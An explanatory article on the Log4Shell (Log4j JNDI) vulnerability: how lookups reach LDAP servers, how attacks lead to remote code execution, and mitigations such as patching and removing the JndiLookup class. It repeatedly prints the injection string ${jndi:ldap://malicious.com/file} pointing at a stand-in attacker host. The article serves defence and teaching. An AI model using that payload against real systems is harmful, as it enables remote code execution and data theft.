The Anatomy of Log4j JNDI Attack and How to Prevent It

Image Courtesy of Saksham Choudhary from Pexels.com

Along with the jingling of Christmas bells, this December, software vendors and cybersecurity professionals had their ears tingled by yet another term: Log4j JNDI vulnerability. The vulnerability paves the way for massive potential cyber security attacks on Java-based applications. Researchers across the globe have already released working proof of concept exploit codes that show the devastating repercussions of a potential attack.

WHAT IS THE LOG4J JNDI VULNERABILITY?

Let’s first understand Log4j and JNDI.

Every application has a logging framework that logs activities performed on it. Log4j, an open-source logging library developed by the Apache Software Foundation, is the logging framework that Java-based applications use. Log4j uses a lookup feature called Java Naming and Directory Interface (JNDI) that consists of an API (Application Programming Interface) and SPI (Service Provider Interface). Several naming and directory services plug in via the SPI, namely DNS, LDAP, NIS, and more. The Java application can access these directory services using the JNDI API.

SOURCE: ORACLE CORPORATION’S EXPLANATION OF JNDI

If there is a JNDI reference in the log entry, Log4j uses the JNDI feature to request data from an LDAP (Lightweight Directory Access Protocol) server. For example, an expression ${jndi:ldap://example.com/file} specifies the lookup through LDAP protocol and loads data from the URL example.com. However, if the LDAP server itself is malicious, the payload downloaded by the Java application ends up being harmful to the system. Log4j JNDI vulnerability, dubbed Log4Shell by researchers, is a critical zero-day vulnerability that allows a cyber attacker to use the logging framework Log4j (version 2 to be precise) and the lookup feature JNDI within an application to generate special requests to an attacker-controlled server. The attackers mostly use the server to download malicious code into the system, gain access to perform Remote Code Execution (RCE) and breach a target without authorization. Here are some key features of the Log4j JNDI vulnerability:

• Vulnerability ID: CVE-2021–44228
• Uncovered on: November 24, 2021
• Date of public disclosure: December 9, 2021
• Published by: Alibaba Cloud’s security team
• Initial detection: On Minecraft’s chat section
• Prompted a Common Vulnerability Scoring System (CVSS) severity level of 10, which is the highest
• Victims: iCloud, Steam, Minecraft, Twitter, Tesla, and more

HOW DOES A LOG4J JNDI ATTACK HAPPEN?

SOURCE: GOVCERT.CH- ANATOMY OF LOG4J JNDI ATTACK AND MITIGATION METHODS

Let’s see how the JNDI feature in Log4j logging framework can potentially download malicious files into a Java application and initiate a remote code execution:

• The Log4j logging framework logs any user activity on Java applications. The attacker takes advantage of this activity log by using a specially-crafted string and inputs it via the app user interface. For instance, the attacker can use the chat option in the case of Minecraft (an online multiplayer game) or the username field. Let’s say attackers input a string ${jndi:ldap://malicious.com/file} in the username field of an application with a random password. This does not give the attackers access to the application, but it nevertheless logs the string they entered.
• The JNDI lookup feature reads each log entry and tries to act according to the string given by the attacker. And when it sees ${jndi:ldap://malicious.com/file} in the log, it uses the JNDI feature to send a request for ‘file’ to malicious.com, which is obviously an attacker-controlled LDAP server. The LDAP server responds to this request with the directory information of ‘file’, the malicious payload.
• Once this ‘file’, which is essentially a malicious Java class, gets downloaded and executed, the attacker gains control and performs RCE, gaining access to execute their codes on remote machines, which in this case, is the vulnerable system. Once malicious codes get executed, the attackers can steal data, install ransomware, and perform unauthorized activities that can harm your system.

WHO IS IMPACTED BY LOG4J?

Since Log4j is a commonly-used framework, the vulnerability could affect all applications that implement Java. According to Oracle Corporation, 97% of all business applications use Java. The range at which attackers can wreak havoc is unimaginable. Most Java-based software uses the Log4j library, which makes for a broader attack surface. Apart from enterprise software, Java gets embedded into a wide range of digital products and services, including routers and servers. However, the attack is dependent on several factors like the version of Log4j, the JVM used, etc.

WHAT CAN COMPANIES DO TO PREVENT A LOG4J JNDI ATTACK?

Ever since its detection, there have been attempts to mitigate risks. Apache Software Foundation is now recommending every software vendor to update to the latest Log4j version 2.17.0 as, apparently, this version is currently invulnerable. Here are some other measures to minimize the chances of attack:

• Update every third-party application, along with all firewalls, to the latest version.
• Implement multi-factor authentication and strict VPN policies.
• Use a Web Application Firewall (WAF) to block an attacker from inserting specially-crafted strings. WAF acts as a reverse proxy server and adheres to a specific set of rules that protect the server from external requests. For example, the AWS Web Application Firewall comes with a predefined Log4JRCE rule called “AWSManagedRulesKnownBadInputsRuleSetesp” that allows the firewall to use a string-match detection that inspects requests of the form ${jndi:ldap://malicious.com/file}. If any request in the above format gets traced, the firewall infers it as a potential attack and blocks its execution.
• Change Java system properties by setting the property formatMsgNoLookups or environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true.
• Disable JNDI lookup plugin so that no unnecessary code is executed based on the data on the log. This gets done by removing JndiLookup class

“zip -q -d log4j-core- *.jar org /apache/logging /log4j /core/lookup /JndiLookup.class”

FINAL THOUGHTS

Since every business is directly or indirectly connected to Java in one way or the other, there is a very high chance of attack if recommended security measures are not taken in time. Attackers just need a single entry point to take down the entire system. Hence, businesses and software vendors must take proper mitigation measures to ensure the vulnerability does not cause any impact.

Small and medium businesses that do not have an in-house security team must consult a cybersecurity team to make sure their systems and networks are not compromised.

Vulnerabilities like the Log4j JNDI cannot be foreseen. Planning ahead, staying updated on the latest cybersecurity measures, and having a cybersecurity team ready can help businesses take necessary actions before it is too late.

This article originally appeared on tblocks.com — December, 2021